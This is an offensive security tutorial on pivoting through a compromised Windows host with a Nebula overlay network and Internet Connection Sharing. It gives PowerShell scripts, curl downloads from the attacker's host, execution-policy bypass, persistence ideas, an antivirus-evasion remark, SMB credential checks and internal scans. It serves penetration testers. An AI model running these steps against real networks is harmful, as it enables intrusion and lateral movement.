In this article, I will demonstrate an exotic method I found for pivoting on Windows by building an overlay Nebula network

Caster - Philosophy of Nietzsche

Genre: Offensive, Experimental
Label: exploit.org
Release Date: 20 December 2024

Performed by: Caster
Written by: Magama Bazarov
Mastered by: Magama Bazarov
Cover Man: Magama Bazarov (Sony ILCE-7M3, f/3.2, 1/100 sec, ISO 320)

Intro

This is an article about pivoting through Windows using Nebula. On September 9, 2024, I released “Violence” where I demonstrated a pivoting approach on Linux using Nebula. However, in this article I am going to replicate this concept on Windows and to be honest, it was not easy. Windows does not have the iptables that we know so well for firewall management and I had to spend some time to realize the same MASQUERADE effect on Windows as I did with that iptables rule on Linux.
And I actually succeeded, the clue was in one place - Internet Connection Sharing.

In the context of this network, pivoting would be inside the infrastructure, an attacker compromising a Windows machine that has two interfaces - jumping to the second interface, behind which is another part of the infrastructure.

Disclaimer

This article is of an introductory nature and is intended solely for information security specialists conducting testing within the framework of concluded contracts. The author and the editorial staff are not liable for any damage caused by the use of the information presented. The distribution of malware, disruption of systems and confidentiality of correspondence is a violation of the law and may result in criminal liability.

Network

Concept

Nothing extraordinary really. As in Violence, we deploy the Lighthouse controller, generate the necessary certificates and take into account the address subnets we want to reach. I would like to point out that when running Nebula on Windows, Nebula itself creates a virtual interface nebula1, this is achieved by administrator privileges and the Wintun driver that comes with the Nebula archive v1.8.2

Internet Connection Sharing

After initiating a connection between the compromised Windows machine and the Lighthouse controller on the attacker's side, Internet Connection Sharing (ICS) must be configured to redirect traffic. On the compromised machine, the attacker runs the following PowerShell script:

# Register the HNetCfg library (once)
regsvr32 hnetcfg.dll

# Create a NetSharingManager object
$m = New-Object -ComObject HNetCfg.HNetShare

# List connections
$m.EnumEveryConnection |% { $m.NetConnectionProps.Invoke($_) }

# Find Ethernet1 connection
$ethernetConnection = $m.EnumEveryConnection |? { $m.NetConnectionProps.Invoke($_).Name -eq "Ethernet1" }

# Get sharing configuration for Ethernet1
$ethernetConfig = $m.INetSharingConfigurationForINetConnection.Invoke($ethernetConnection)

# Enable sharing on Ethernet1 (0 - public, 1 - private)
$ethernetConfig.EnableSharing(0)

# Find nebula1 connection
$nebulaConnection = $m.EnumEveryConnection |? { $m.NetConnectionProps.Invoke($_).Name -eq "nebula1" }

# Get sharing configuration for nebula1
$nebulaConfig = $m.INetSharingConfigurationForINetConnection.Invoke($nebulaConnection)

# Set nebula1 as private in ICS context
$nebulaConfig.EnableSharing(1)

The script should be customized to your conditions, interface names may vary from one Windows computer to another

To configure pivoting over the Nebula1 interface, a PowerShell script is used to automatically enable ICS (Internet Connection Sharing) on the target host. The script performs the basic following actions:

Registration of HNetCfg library: to work with ICS via Windows API, hnetcfg.dll is registered:

regsvr32 hnetcfg.dll

Creating a NetSharingManager object: used to manage connections through a Windows COM object:

$m = New-Object -ComObject HNetCfg.HNetShare

Interface definition: the script identifies two key interfaces: nebula1 and Ethernet1

$ethernetConnection = $m.EnumEveryConnection |? { $m.NetConnectionProps.Invoke($_).Name -eq "Ethernet1" }
$nebulaConnection = $m.EnumEveryConnection |? { $m.NetConnectionProps.Invoke($_).Name -eq "nebula1" }

Enabling ICS: Public Sharing Mode is enabled on interface Ethernet1, which enables NAT and routes:

$ethernetConfig.EnableSharing(0)

The nebula1 interface is activated Private Sharing Mode so that it becomes a gateway for ICS:

$nebulaConfig.EnableSharing(1)

IP Address Assignment: ICS automatically assigns the IP address 192.168.137.1 to the nebula1 interface. This address is used as a gateway for devices connected via Nebula;

NAT and routing. The EnableSharing(0) method on interface Ethernet1 enables NAT and adds routes to the Windows routing table:

• NAT automatically converts traffic from the ICS subnet (192.168.137.0/24) to the target network addresses (172.16.150.0/24) before sending it through the Ethernet1 interface;
• Entries for the ICS subnet appear in the routing table indicating that traffic is going through the Nebula interface. Example entry:

192.168.137.0    255.255.255.0         On-link   192.168.100.100    261

Thus, all traffic from the Nebula network is redirected to the 172.16.150.0/24 local network. In the context of a classical pentest, this approach is considered exotic but still applicable. But for Red Team operators, this method may seem noisy, since it involves creating an interface, connecting the Wintun driver, and running a PowerShell scripts.

Preparation

Download and unzip the Nebula files:

caster@kali:~/nietzsche$ wget https://github.com/slackhq/nebula/releases/download/v1.8.2/nebula-linux-amd64.tar.gz
caster@kali:~/nietzsche$ gunzip nebula-linux-amd64.tar.gz
caster@kali:~/nietzsche$ tar xf nebula-linux-amd64.tar
caster@kali:~/nietzsche$ rm -f nebula-linux-amd64.tar

As a result, we get two executable files: ./nebula and ./nebula-cert:

-rwxr-xr-x 1 caster caster 18986052 Jan  9  2024 nebula
-rwxr-xr-x 1 caster caster  7675668 Jan  9  2024 nebula-cert

Key Generation

Nebula uses certificates to identify clients on the network. The first step is to create a Certificate Authority (CA):

caster@kali:~/nietzsche$ ./nebula-cert ca -name "Caster"
caster@kali:~/nietzsche$ ls -l ca.crt  ca.key

-rw------- 1 caster caster      239 Dec 14 12:17 ca.crt
-rw------- 1 caster caster      174 Dec 14 12:17 ca.key

Create a certificate and key for the attacker's machine that will act as the Lighthouse controller:

caster@kali:~/nietzsche$ ./nebula-cert sign -name "attacker" -ip "192.168.100.1/24"
caster@kali:~/nietzsche$ ls -l attacker.crt attacker.key

-rw------- 1 caster caster      300 Dec 14 12:18 attacker.crt
-rw------- 1 caster caster      127 Dec 14 12:18 attacker.key

Preparing yml template

Download the config.yml configuration file template from the official repository:

caster@kali:~/nietzsche$ curl -o config.yml https://raw.githubusercontent.com/slackhq/nebula/master/examples/config.yml
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 17603  100 17603    0     0  54837      0 --:--:-- --:--:-- --:--:-- 55009

Lighthouse Controller Configuration

In the config.yml file, specify the paths to the Lighthouse certificates and key. Since all files are in the same directory, you can use relative paths:

pki:
  # The CAs that are accepted by this node. Must contain one or more certificates created by 'nebula-cert ca'
  ca: ca.crt
  cert: attacker.crt
  key: attacker.key

In the static_host_map configuration, add a binding of the local address on the Nebula network and the external IP address of the attacker's machine:

static_host_map:
  "192.168.100.1": ["192.168.130.128:4242"]

Turn on Lighthouse mode:

lighthouse:
  # am_lighthouse is used to enable lighthouse functionality for a node. This should ONLY be true on nodes
  # you have configured to be lighthouses in your network
  am_lighthouse: true

Now in the .yml file, the routing configuration needs to be done. The attacker will fly to the network 172.16.150.0/24 through 192.168.100.100, that's what we will specify:

  routes:
    #- mtu: 8800
    #  route: 10.0.0.0/16

  # Unsafe routes allows you to route traffic over nebula to non-nebula nodes
  # Unsafe routes should be avoided unless you have hosts/services that cannot run nebula
  # NOTE: The nebula certificate of the "via" node *MUST* have the "route" defined as a subnet in its certificate
  # `mtu`: will default to tun mtu if this option is not specified
  # `metric`: will default to 0 if this option is not specified
  # `install`: will default to true, controls whether this route is installed in the systems routing table.
  unsafe_routes:
    - route: 172.16.150.0/24
      via: 192.168.100.100
    #  mtu: 1300
    #  metric: 100
    #  install: true

This concludes the Lighthouse configuration on the attacker's side for now. Now we need to move on to the configuration on the compromised host

Lighthouse Controller Client Configuration

On the attacker's machine, create a certificate and key for the client:

caster@kali:~/nietzsche$ ./nebula-cert sign -name 'external' -ip '192.168.100.100/24' -subnets '172.16.150.0/24'

caster@kali:~/nietzsche$ ls -l external.key external.crt

-rw------- 1 caster caster      316 Dec 14 12:18 external.crt
-rw------- 1 caster caster      127 Dec 14 12:18 external.key

The certificate and keys have been created. Now it is necessary to prepare config.yml file for the client

<config.yml>
listen:
  # To listen on both any ipv4 and ipv6 use "::"
  host: 0.0.0.0
  port: 0

For the compromised host, the .yml file will be called external.yml!

Disable Lighthouse mode:

lighthouse:
  # am_lighthouse is used to enable lighthouse functionality for a node. This should ONLY be true on nodes
  # you have configured to be lighthouses in your network
  am_lighthouse: false

Allow all TCP, UDP, and ICMP traffic to communicate with internal networks:

firewall:

  outbound:
    # Allow all outbound traffic from this node
    - port: any
      proto: any
      host: any

  inbound:
    # Allow tcp between any nebula hosts
    - port: any
      proto: tcp
      host: any

    # Allow udp between any nebula hosts
    - port: any
      proto: udp
      host: any

    # Allow udp between any nebula hosts
    - port: any
      proto: icmp
      host: any

Now you need to download the necessary certificates and keys on Windows, as well as the archive with Nebula v1.8.2

C:\Users\caster\Desktop\madman1882>curl -o ca.crt http://192.168.130.128/ca.crt
C:\Users\caster\Desktop\madman1882>curl -o ca.key http://192.168.130.128/ca.key
C:\Users\caster\Desktop\madman1882>curl -o external.crt http://192.168.130.128/external.crt
C:\Users\caster\Desktop\madman1882>curl -o external.key http://192.168.130.128/external.key
C:\Users\caster\Desktop\madman1882>curl -o nebula-windows-amd64.zip http://192.168.130.128/nebula-windows-amd64.zip
C:\Users\caster\Desktop\madman1882>curl -o ics.ps1 http://192.168.130.128/ics.ps1

The resulting archive can be unpacked using tar:

C:\Users\caster\Desktop\madman1882>tar -xf nebula-windows-amd64.zip -C .

C:\Users\caster\Desktop\madman1882>dir
 Volume in drive C has no label.
 Volume Serial Number is 2054-85E5

 Directory of C:\Users\caster\Desktop\madman1882

12/14/2024  04:38 AM    <DIR>          .
12/14/2024  04:38 AM    <DIR>          ..
12/14/2024  04:26 AM               239 ca.crt
12/14/2024  04:26 AM               174 ca.key
01/08/2024  12:57 PM    <DIR>          dist
12/14/2024  04:27 AM               316 external.crt
12/14/2024  04:27 AM               127 external.key
12/14/2024  04:38 AM            17,974 external.yml
12/14/2024  04:28 AM               997 ics.ps1
01/08/2024  12:57 PM         8,013,824 nebula-cert.exe
12/14/2024  04:27 AM        14,955,564 nebula-windows-amd64.zip
01/08/2024  12:57 PM        19,252,224 nebula.exe
               9 File(s)     42,241,439 bytes
               3 Dir(s)  44,220,936,192 bytes free

C:\Users\caster\Desktop\madman1882>

By the way, the Wintun driver is in the dist folder. This is important. Thanks to this driver the virtual interface nebula1 will be created.

Now Nebula on both sides is ready to launch, it's time to do the pivoting

Pivoting

At this point, the method is ready to go live. The goal is to have the attacker machine connect to the compromised host via Nebula and activate Internet Connection Sharing (ICS) to direct traffic to the target network for the attacker's benefit. Recall, the attacker's target is 172.16.150.0/24, which is behind the second interface of the compromised Windows machine.

On the attacking machine (Linux), run Nebula using the config.yml configuration file. Nebula will listen on UDP port 4242 on all interfaces:

caster@kali:~/nietzsche$ sudo ./nebula -config config.yml

caster@kali:~/nietzsche$ sudo ./nebula -config config.yml
[sudo] password for caster: 
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:outgoing endPort:0 groups:[] host:any ip: localIp: proto:0 startPort:0]"
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:incoming endPort:0 groups:[] host:any ip: localIp: proto:1 startPort:0]"
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:incoming endPort:443 groups:[laptop home] host: ip: localIp: proto:6 startPort:443]"
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:incoming endPort:8080 groups:[remote_client] host: ip: localIp:192.168.100.0/24 proto:6 startPort:8080]"
INFO[0000] Firewall started                              firewallHashes="SHA:f966180709c7d241fc2201ff3ff6a775f67924fcca8c08b95393b66445b600cc,FNV:896195335"
INFO[0000] listening "0.0.0.0" 4242                     
INFO[0000] Main HostMap created                          network=192.168.100.1/24 preferredRanges="[]"
INFO[0000] punchy enabled                               
WARN[0000] lighthouse.am_lighthouse enabled on node but upstream lighthouses exist in config 
INFO[0000] Loaded send_recv_error config                 sendRecvError=always
INFO[0000] Nebula interface is active                    boringcrypto=false build=1.8.2 interface=nebula1 network=192.168.100.1/24 udpAddr="0.0.0.0:4242"

Windows

On Windows it's worth falling into a Powershell shell to run both Nebula and a special PS script to activate ICS, above I've explained what it's really all about. ICS creates the effect of the “MASQUERADE” rule you know from iptables on Linux distributions.

RRAS

However, it is critical to make sure that the Routing and Remote Access Service (RRAS) is enabled before running Nebula. This service is responsible for routing traffic, and if it is disabled, routing will stop working and traffic will be blocked on the compromised host. This will make the method completely inoperable.

You can check the status of the service by using the sc query command:

sc query RemoteAccess

Example output:

SERVICE_NAME: RemoteAccess
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE              : 4  RUNNING
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

If the service is stopped, it can be started using the command:

sc start RemoteAccess

To configure the service to start automatically after a system reboot:

sc config RemoteAccess start= auto

Nebula Starting

Stage I: Command Start-Process to have Nebula running in the background:

PS C:\Users\caster\Desktop\nebula\nebula-windows-amd64> Start-Process -FilePath .\nebula.exe -ArgumentList "-config external.yml"

Controller logs after connection:

caster@kali:~/nietzsche$ sudo ./nebula -config config.yml
[sudo] password for caster: 
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:outgoing endPort:0 groups:[] host:any ip: localIp: proto:0 startPort:0]"
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:incoming endPort:0 groups:[] host:any ip: localIp: proto:1 startPort:0]"
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:incoming endPort:443 groups:[laptop home] host: ip: localIp: proto:6 startPort:443]"
INFO[0000] Firewall rule added                           firewallRule="map[caName: caSha: direction:incoming endPort:8080 groups:[remote_client] host: ip: localIp:192.168.100.0/24 proto:6 startPort:8080]"
INFO[0000] Firewall started                              firewallHashes="SHA:f966180709c7d241fc2201ff3ff6a775f67924fcca8c08b95393b66445b600cc,FNV:896195335"
INFO[0000] listening "0.0.0.0" 4242                     
INFO[0000] Main HostMap created                          network=192.168.100.1/24 preferredRanges="[]"
INFO[0000] punchy enabled                               
WARN[0000] lighthouse.am_lighthouse enabled on node but upstream lighthouses exist in config 
INFO[0000] Loaded send_recv_error config                 sendRecvError=always
INFO[0000] Nebula interface is active                    boringcrypto=false build=1.8.2 interface=nebula1 network=192.168.100.1/24 udpAddr="0.0.0.0:4242"
INFO[0860] Handshake message received                    certName=external fingerprint=d3477c15b934b71df11cfe2688b868a7325cdf8c2c700c19e4fdcb0efd8b314f handshake="map[stage:1 style:ix_psk0]" initiatorIndex=1961183431 issuer=68ccea2939d99879b6106cf8b8bb06f13fda4e4e23c8919d9edbcfd109ef426f remoteIndex=0 responderIndex=0 udpAddr="10.10.100.128:57281" vpnIp=192.168.100.100
INFO[0860] Handshake message sent                        certName=external fingerprint=d3477c15b934b71df11cfe2688b868a7325cdf8c2c700c19e4fdcb0efd8b314f handshake="map[stage:2 style:ix_psk0]" initiatorIndex=1961183431 issuer=68ccea2939d99879b6106cf8b8bb06f13fda4e4e23c8919d9edbcfd109ef426f remoteIndex=0 responderIndex=2824450504 udpAddr="10.10.100.128:57281" vpnIp=192.168.100.100

Stage II: If PowerShell scripts are disabled, enable them:

PS C:\Users\caster\Desktop\nebula\nebula-windows-amd64> Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted

Stage III: Running the script to activate ICS:

PS C:\Users\caster\Desktop\nebula\nebula-windows-amd64> .\ics.ps1

PS C:\users\caster\Desktop\nebula\nebula-windows-amd64> .\ics.ps1


Guid            : {578116D1-300A-4440-B962-B72C33DAC59E}
Name            : Ethernet0
DeviceName      : Intel(R) 82574L Gigabit Network Connection
Status          : 2
MediaType       : 3
Characteristics : 4105

Guid            : {7B656F18-3A17-4F0D-9350-8A6D5EB7184C}
Name            : Ethernet1
DeviceName      : Intel(R) 82574L Gigabit Network Connection #2
Status          : 2
MediaType       : 3
Characteristics : 4105

Guid            : {07366A4E-7C08-ED0E-EB72-F4C281D3D573}
Name            : nebula1
DeviceName      : Nebula Tunnel
Status          : 2
MediaType       : 3
Characteristics : 4105

Guid            : {89150B9F-9B5C-11D1-A91F-00805FC1270E}
Name            : Incoming Connections
DeviceName      :
Status          : 0
MediaType       : 0
Characteristics : 37

You can see from the output that the PowerShell script successfully identified all network interfaces on the compromised machine. Here are their key characteristics:

Ethernet0

• Name: Ethernet0
• DeviceName: Intel(R) 82574L Gigabit Network Connection.
• DeviceName: This is the physical network interface used to connect to the 10.10.100.0/24 network

Ethernet1

• Name: Ethernet1
• DeviceName: Intel(R) 82574L Gigabit Network Connection #2.
• Destination: This is the physical interface associated with the 172.16.150.0/24 network through which the attacker will access the target network.

nebula1

• Name: nebula1
• DeviceName: Nebula Tunnel.
• DeviceName: A virtual interface created by Nebula. Traffic from the attacker is tunneled through it.

Incoming Connections

• Name: Incoming Connections
• DeviceName: (empty)
• Destination: This is a Windows system interface that is normally used to handle incoming connections, but is not involved in this case.

Verify network settings with ipconfig:

PS C:\Users\caster\desktop\nebula\nebula-windows-amd64> ipconfig

Windows IP Configuration


Unknown adapter nebula1:

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 192.168.100.100
   Subnet Mask . . . . . . . . . . . : 255.255.255.0  
   IPv4 Address. . . . . . . . . . . : 192.168.137.1  
   Subnet Mask . . . . . . . . . . . : 255.255.255.0  
   Default Gateway . . . . . . . . . :

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::2162:d247:f75:a98a%10
   IPv4 Address. . . . . . . . . . . : 10.10.100.128
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.100.1

Ethernet adapter Ethernet1:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::8ddc:5050:eaca:8230%12
   IPv4 Address. . . . . . . . . . . : 172.16.150.228
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :
PS C:\Users\caster\desktop\nebula\nebula-windows-amd64>

nebula1 has two IP addresses:

• 192.168.100.100 is the primary address on the Nebula network;
• 192.168.137.1 is the gateway address assigned by ICS for NAT;

Ethernet1 is associated with the target network 172.16.150.0/24 that the attacker will access.

Impact (Proof of Concept)

To clearly demonstrate that this method works, I'll run a few utilities to prove that it's all real.

Tracing

To prove that the attacker's traffic toward the 172.16.150.0/24 network does indeed pass through the compromised host (nebula1:192.168.100.100)

caster@kali:~/nietzsche$ mtr 172.16.150.228

I selected the Windows host 172.16.150.228 and traced to it, connectivity is there and traffic went through 192.168.100.100 as planned.

NetExec

Extremely popular among pentesters, very handy when pentesting networks, AD

caster@kali:~/nietzsche$ netexec smb 172.16.150.0/24 -u caster -p caster

caster@kali:~/nietzsche$ netexec smb 172.16.150.0/24 -u caster -p caster
SMB         172.16.150.228  445    THEPARABLEOFTHE  [*] Windows 10 / Server 2019 Build 19041 (name:THEPARABLEOFTHE) (domain:TheParableoftheMadman) (signing:False) (SMBv1:False)
SMB         172.16.150.221  445    RB8              [*] Windows 10 / Server 2019 Build 19041 (name:RB8) (domain:RB8) (signing:False) (SMBv1:False)
SMB         172.16.150.227  445    RB9              [*] Windows 10 / Server 2019 Build 19041 (name:RB9) (domain:RB9) (signing:False) (SMBv1:False)
SMB         172.16.150.223  445    RB7              [*] Windows 10 / Server 2019 Build 19041 (name:RB7) (domain:RB7) (signing:False) (SMBv1:False)
SMB         172.16.150.228  445    THEPARABLEOFTHE  [+] TheParableoftheMadman\caster:caster 
SMB         172.16.150.221  445    RB8              [+] RB8\caster:caster 
SMB         172.16.150.227  445    RB9              [+] RB9\caster:caster 
SMB         172.16.150.223  445    RB7              [+] RB7\caster:caster 
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

SMB connection is available, ran one login and password mapping across hosts RB7, RB8, RB9

Port Scan

Using nmap, I will run a port scan of some network services.

caster@kali:~$ sudo nmap --open -n -Pn -p 80,22,445,3389 172.16.150.0/24 --min-rate=250 --max-rate=800 

caster@kali:~$ sudo nmap --open -n -Pn -p 80,22,445,3389 172.16.150.0/24 --min-rate=250 --max-rate=800 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 09:15 +05
Nmap scan report for 172.16.150.221
Host is up (0.00070s latency).
Not shown: 2 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for 172.16.150.223
Host is up (0.00067s latency).
Not shown: 2 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for 172.16.150.227
Host is up (0.00060s latency).
Not shown: 2 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap scan report for 172.16.150.228
Host is up (0.00053s latency).
Not shown: 2 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
22/tcp  open  ssh
445/tcp open  microsoft-ds

Nmap scan report for 172.16.150.229
Host is up (0.00072s latency).
Not shown: 2 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 256 IP addresses (256 hosts up) scanned in 3.46 seconds

Found various services: SSH, SMB, RDP, etc

Web Services

I found 1 host under 172.16.150.229 that was running the HTTP service on port TCP/80, this turned out to be a RouterOS router.

In these 4 subchapters I have clearly demonstrated how this method of pivoting works, service scanning works correctly, traffic is routed properly - thanks to some crazy Internet Connection Sharing tricks.

Persistence Issues

By default, this method will not survive a reboot. Nebula will not work, but the ICS configuration on the physical interface will remain, ICS will not work correctly. If you are using this method and you care about the anchoring aspect, here are the steps:

1. Run a PowerShell script to correctly disable ICS and reboot the SharedAccess serviceWhenever you start Nebula, it is important to disable the old ICS configuration beforehand to avoid conflicts. To do this, use a PowerShell script that:
   • Disables ICS on Ethernet1;
   • Restarts the SharedAccess service to reset the state

# Disable ICS on Ethernet1

# Register the HNetCfg library
regsvr32 hnetcfg.dll

# Create a NetSharingManager object
$m = New-Object -ComObject HNetCfg.HNetShare

# Find the Ethernet1 connection
$ethernetConnection = $m.EnumEveryConnection | ? { $m.NetConnectionProps.Invoke($_).Name -eq "Ethernet1" }

# Disable sharing for Ethernet1
if ($ethernetConnection) {
    $ethernetConfig = $m.INetSharingConfigurationForINetConnection.Invoke($ethernetConnection)
    if ($ethernetConfig.SharingEnabled) {
        Write-Host "Disabling ICS on Ethernet1..."
        $ethernetConfig.DisableSharing()
        Write-Host "ICS has been disabled on Ethernet1."
    } else {
        Write-Host "ICS was already disabled on Ethernet1."
    }
}

# Restart the SharedAccess service to reset the ICS state
Write-Host "Restarting the ICS (SharedAccess) service..."
Restart-Service -Name SharedAccess -Force
Write-Host "The ICS (SharedAccess) service has been successfully restarted."

2. After clearing the ICS settings, you must restart Nebula. This can be done using PowerShell:

PS C:\Users\caster\Desktop\nebula\nebula-windows-amd64> Start-Process -FilePath .\nebula.exe -ArgumentList "-config external.yml"

This command will start Nebula in the background so that the system can continue to run even if the PowerShell session terminates.

3. To restore ICS after a reboot, run the previously mentioned ics.ps1

PS C:\Users\caster\Desktop\nebula\nebula-windows-amd64> .\ics.ps1

To ensure the method is sustainable, all key steps should be automated so that they are performed when the system autoboots. This includes first resetting the ICS settings, running Nebula, and then reconfiguring the ICS. In theory, such automation can be implemented through the use of built-in Windows tools such as the Task Scheduler or the creation of custom services using utilities such as nssm. These tools allow you to specify a sequence of actions, from restarting the ICS service to configuring routes. An alternative approach is to create PowerShell scripts that are automatically executed when the system is started via autoloader or group policies. It all depends on your individual circumstances and your creativity.

AV Behavior

AV has no alarms from a running Nebula.

Outro

This article is an experimental research based on my idea to use the legitimate Nebula software, originally designed for creating VPNs, as a tool to implement pivoting. This method is specific and requires detailed customization, but I was able to prove its practicality under real-world conditions.

Nebula, being an open source tool, provides flexibility and powerful capabilities for building tunnels between networks. However, the same functionality can be adapted to solve non-standard problems, such as penetrating isolated network segments through vulnerable or compromised hosts.

This work does not claim to be a one-size-fits-all approach, but shows that with creativity, even standard tools can be used to achieve complex goals. Ultimately, this research demonstrates the importance of creative thinking and detailed analysis of legitimate technologies.

While working on this project, I drew inspiration from the writings of Friedrich Nietzsche. His philosophy, saturated with the desire to understand the essence of things and to overcome human limitations, influenced me and gave me the strength to find solutions to the problems of this reserch.
I was particularly shocked by the moment in his life when, while in Turin, he rushed to embrace a horse, seeing its suffering. This episode symbolizes compassion and humanity, which, despite his inner struggle and hard fate, remained part of his nature. It was after this tragic event that Nietzsche finally lost his mind, plunging into the darkness of madness and psychotic state that accompanied him for the rest of his life. That is why I decided that the cover of this work will depict a shaken Nietzsche and a horse - symbols of his suffering and greatness. I feel sorry for Nietzsche that he ended his life in a nightmare. He was controversial, open about his pain, but he was an inspiration to me and a great thinker.

"Where is God?" he cried; "I shall tell you. We have killed him. You and I."

- Friedrich Nietzsche, The Parable of the Madman, 1882